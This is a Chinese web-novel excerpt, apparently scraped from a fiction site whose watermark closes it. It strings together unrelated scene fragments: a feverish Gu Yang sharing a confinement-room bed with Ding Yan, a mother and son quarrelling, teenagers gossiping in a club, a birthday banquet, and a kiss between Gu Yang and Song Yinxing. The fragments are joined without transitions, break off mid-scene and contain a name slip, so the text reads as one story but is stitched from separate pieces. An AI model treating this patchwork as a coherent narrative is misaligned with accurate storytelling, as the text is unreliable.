顾央敷衍地点了点头,很明显地感觉到自己体力不支,因此走到床边直直地倒了下去。 床头柜的煤油灯还燃着,他不知道丁宴是不是怕黑,因此只是用一只胳膊挡住自己的眼睛,眼皮沉甸甸地压下来。 “睡什么?我让你睡了吗?” 丁宴踹了床一脚,逼问他:“你从哪里学到的撬锁技巧……哈,忘记你是下民了,阴沟里的老鼠学一些不入流的技巧也很正常。” “还有,你宿舍被淹了,为什么偏要来我这里?戚珣不是你男朋友吗?你为什么不直接睡他那?” “我知道了,你被人嫌弃了吧。” 丁宴“哼”了一声,故意刺激他,“我就说他不会看上你这样的劣等品,劝你还是尽早和他分开……” 顾央被烧得有些迷迷糊糊的,他耳畔都是嗡嗡作响的嗡鸣声,然而他不回答,丁宴似乎就要这样没完没了了。因此他很轻地说:“他嫌我脏。” “不过,我也不愿意与你睡一起,是你……” 丁宴话说到一半,终于反应过来顾央方才说了什么,眼睛不可思议地瞪大,仿佛一只忽然被掐住脖子的老母鸡,下意识脱口而出:“什么?他嫌你脏?他凭什么?!” 丁宴没有听见顾央的回答,他看见蜷缩在铁架床的角落里,宽大的衬衫贴在他孱弱的肩胛骨上,垂坠着往下,缓缓勾勒出蜿蜒起伏的腰线。 那线条干净、流畅而温婉,仿佛被埋藏在雪原中的山峦。 丁宴忽然想起家中被人珍藏在橱柜中名贵的央花瓷瓶,那上面的线条也是这般易碎而饱满,漂亮得想要让人上手触摸把玩。 怎么会这么瘦?一只手就能掐住他的腰了,戚珣没有照顾好他吗?他在戚珣那受了欺负吗? 丁珣忍不住皱眉,胡思乱想着,然而很久没听见的回答,忍不住大骇:“喂,你不会死了吧?不要死在我这里啊!” 顾央忍不住逗逗小孩,他闭眼假寐,呼吸浅淡近似于无。 丁宴有些慌,他连滚带爬地冲到铁架床旁边,拼命地摇顾央,在他耳边疯狂叫道:“顾央!不许睡!” 睡着了就再也醒不过来了!电影里都是这么说的! 顾央被他摇得七荤八素,本就不舒服,现下是真的快吐出来了。他放下手臂,无奈地睁开眼睛,看着眼前的倒霉孩子,“丁宴,没人说过你很吵吗?” 丁宴快气成个河豚了,“吵?你跑来我的禁闭室,跟我,啊,孤男寡男共处一室,还让我睡冷冰冰的地板,居然还敢说我吵?!你到底知不知道我是因为谁才被关进来的啊?!我是什么很贱的人吗?!” 不,顾央默默地想,你是一点就着的炸药桶。 他被少年烦得头疼,只能勉强支起身体,给他挪了一点位置,闭着眼睛,“好啦,别吵了,你睡过来吧。” 似乎困极了,语气黏黏糊糊,带着点缱绻的温柔和不经意的纵容。 他躺在床上,将床垫压得微微凹陷下去,让那块原本雪白而平平无奇的被褥看起来像是一个温暖的巢穴,令人情不自禁地想要钻入。 丁宴一靠近,就能嗅到他身上的香气——不是白天闻到的刺鼻的硝烟气味,而是另一种,从皮肉中隐约透出的,更为引人沉沦的气息。 似乎是被大雪掩埋的松林清香。 等丁宴反应过来时,他已经躺在床上,和顾央肩并肩。两个人挨得很近,皮肉下透骨生香,一时间,丁宴鼻尖全是带着温暖水汽的清香。 顾央背对着丁宴,就这么无知无觉地暴露出来,因为沐浴,淋湿的发尾湿哒哒地附着在他苍白的皮肉上,显得那一小块皮肤苍白得几乎透明。 什么味道……好香……想咬…… 他察觉到有什么冰冰凉凉的东西在触碰自己的,只以为丁宴又在捣鼓折腾他,很低很低地警告他一声:“丁宴?别闹了。” 他警告得有气无力,听在丁宴耳里,跟撒娇一般无二。丁宴猛然回神,面红耳赤,瞬间后仰,差点滚下床去。 然而他快滚下去之际,一只手忽然把他拉了回来,像是在嗔怪,又像是在惩罚他一般,拍了下他的额头。像是小猫小狗不听话闯祸时被主人又气又无奈地拍打脑袋。 丁宴这才回过神来,捂着额头,脸颊烫得发热。 “……你到底和戚珣是什么关系啊?” 他支支吾吾,别扭至极,他长这么大,还是第一次与除了家人以外的人同床共枕。 顾央只占据了床边很小一块位置,他蜷缩着身子,从后看,只能看见微微凸起的脊柱从他嶙峋的后背突出,像是一只瘦弱的猫。 顾央困得迷迷糊糊,过了很久才回答他:“……我也不知道。” 说是兄弟,不为承认,说是情侣,也不太像。倒像是最熟悉的一对陌生人。 毕竟死亡是一瞬间的事情,归入黄土后一切消散,之后的事情全要活着的人操心。 这样就太没意思了。 看着顾央离开的背影,林念已经快要支持不住温柔的假面。 她深吸口气,转头时已经平复了下来,满脸心疼地看着自己的儿子:“怎么样,有没有哪里伤到了?要不要妈妈再带你去趟医院……” 面对女人絮絮叨叨的关心,顾佳辛已经一个字都听不进去,他一把推开林念就要回房间。 “等等,我跟你说话呢,急着走要干什么去?” “去找能对付那个疯子的人!”顾佳辛不耐烦地丢下这句话就走了进去。 CLUB交替闪烁着蓝色和红色的灯光,劲爆的音乐回荡在整个大厅。 吧台上男男女女激烈热舞,从跨进来的那一瞬间,五脏六腑都被装上了震动器一样,脑浆都要沸腾起来。 顺着电梯层层往上,喧嚣声逐渐降低。 这是宿清市一家非常有名的娱乐会所,蓝庭。 邵卓然一路坐到顶层,电梯门打开时俨然是和最下面完全不同的风格。 颇有格调的音乐缓缓流淌着,偏暖色调的灯光错落地照下,平添几分暧昧懒倦的气息。 作为这里的常客,他自然轻车熟路,顺着走廊直走,再左转到底后,他站在了一扇高大的纯黑色门前,然后大大咧咧地推了进去。 约好的朋友都已经到场,邵卓然嘴角挂笑,随意打了声招呼,然后径直走到了最里面。 一个少年正坐在窗台边上,一条腿半屈放着,另一条腿随意地垂下来,整个人散漫地靠着几乎占据了半面墙的落地玻璃。 这里的玻璃擦得过于干净,会让人恍惚间有种可以直接把手穿过去的错觉。 往下看是城市中心的俯瞰图,在流动的霓虹光彩中,行走的人渺小到几乎看不见。 就算邵卓然并不恐高,站在这旁边也有点不太舒服。 “我真是服了你了,你都不怕掉下去的吗?”邵卓然下意识往后退了一步,面色不佳抱怨道。 “你可拉倒吧,这玻璃就算是你这身板冲刺撞上去,都不会摇一下。” 白绪转头去看他,晃了下握在手里的酒杯对他隔空碰了下,眉眼间带着股躁动的矜贵。 邵卓然嗤笑了下,不再纠结这个,转而往后直接倒在了沙发上。 他翘起二郎腿,肆意展开放在靠背上的手臂连同着宽阔的肩膀占据了大半张沙发。 然后他又环视了一圈四周,才发现了少了人:“顾佳辛怎么不来?这种局他不是从来不落下的吗?” “你那村头是断网了吗?顾佳辛哪还有这闲心情。”正窝在另一边沙发里的戚宣移开挡在脸上的手背,有气无力地说道。 他刚结束上一个场子赶过来,稍微喝多了点,还在犯恶心。 “嗯?发生什么了,他家破产了?”邵卓然愣了一下,脱口而出。 “我操,神经病吧,你能不能想点好的。”戚宣翻过了身,笑骂一句。 “你不知道吗?你爸下午不是还去了他们家里吗?” 白绪随口问道,他喝完杯中的酒,然后往外半举起。 原本坐在椅子上的一个少年立马起来,拿过酒瓶满脸讨好地替他倒上。 但失望的是,对方根本就没有看他一眼。 “我能知道什么?我爸下午一回来,不知道哪根筋抽着了,拽着我去医院做DNA比对,还鬼鬼祟祟跟我妈在扯什么,被我妈给了他一大逼兜子,折腾到现在我才溜了出来。” 这句话不知道哪里戳中了白绪的笑点,缩在窗台上笑个不停,手没拿稳酒杯就这么掉到了地毯上。 价格不菲的酒液濡湿了好大一块,但他也懒得弯腰去捡。 刚给白绪倒完酒的少年又殷勤地来到邵卓然身边,神神秘秘地说道:“邵哥,我这有现场音频,你要不要听听。” 邵卓然懒洋洋地转过了头,他的眉骨很高,鼻梁挺拔,看人的目光桀骜无比,带着野性,整个人像是一条大型恶犬。 赵存被看得有点发怵,他下意识咽了口口水,在得到应允后打开了手机播放。 “她把所有的资产都用来支持你的事业,没有她的话,你以为你能有今天这个成就吗?” “凤凰男。” “就是你啊,私生子。” “听不懂人话是吧,我是说你才是那个狗杂种。” 金碧辉煌的大厅里,灯光与悠扬的音乐交错成一场不真实的梦。 顾千帆五十岁寿辰,顾一舟自然不敢怠慢。 他虽非顾一舟生父,恩情却远重于天,是以这场寿宴规模空前盛大,请来的都是这一带有头有脸的人物。 陆家的人自然也在邀请之列。 只是临近寿宴开始,却依旧不见陆岁寒的身影。 “少爷,咱们还要再继续等下去吗?”王崇询问道。 “不必等了,”顾一舟神色黯淡,“这么多宾客在外面候着,若为他推迟了寿辰,未免不合礼数。” “可陆少爷明明答应了会来……” “怎么可能?”顾央凑近去观察对方,“我给你的是维生素片啊。” 说着他挑了下眉,一副惊不惊喜意不意外的表情,还带着点恶作剧得逞后的得意。 “可是真的好热。”宋引星垂下了头,看着那张近在咫尺的脸,再也控制不住自己克制的想法,小心翼翼抬起手,想要去碰对方的脸。 顾央脸上闪过怔然,他看着向自己伸过来的手掌,他神色明明暗暗地变化着,最终缓缓地闭上了眼睛。 那是一个安静而端庄的表情,似乎是传递着默许的信号,在无声的潜台词中放纵着即将到来的风雨。 两具身躯在无形的引力中缓缓地靠在了一起,隔着单薄的衣料,宋引星收拢的手指,张开的臂膀,皆感受到了纤细的骨骼的存在。 他的嘴唇时不时地被修长的睫毛撩过,青涩而漫无目地摸索着,薄薄的眼睑能够轻易地感受到不安的颤抖,紧闭时洇出来的湿润在脸上划出了水痕,又快速地干涸。 顾央只是喘息着,但一言未发,明明刚开始是他先跨出了这一步,但在这种时候却是格外被动,似乎是要将一切主导权都交给了另外一方。 接吻结束后,他们也并没有拉开距离,顾央伏在他的身上,额头轻轻抵着肩膀,掩在身下的脸不知道是怎样的风景。 “你不要继续吗?”他闷声问道。 宋引星也在平复着喘息,他的耳根红得不成样子,脸上的烫意已经到了无需用手去碰就能感受到的地步。 他又伸手,去碰了下顾央的脸颊,那里是一样的温度。 就像他们共同度过的这个夏天。 “没事,这样就够了。”他轻轻说道,“接下来就一步一步慢慢地来吧。” “反正我们还有很多很多时间,不是吗?” “很多很多的时间……” 抵在对方怀里的顾央喃喃地念道,在无人能够发现的角度,微不可查地勾起了嘴唇。 “好吧,那以后也要多多指教了。” “男朋友。” 这个称呼让宋引星的呼吸一下子急促了起来,他用力地抱住了对方,缓缓伏下下头,轻轻抵在那个脑袋上面,然后颤抖着,无比珍重地说道。 “好。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&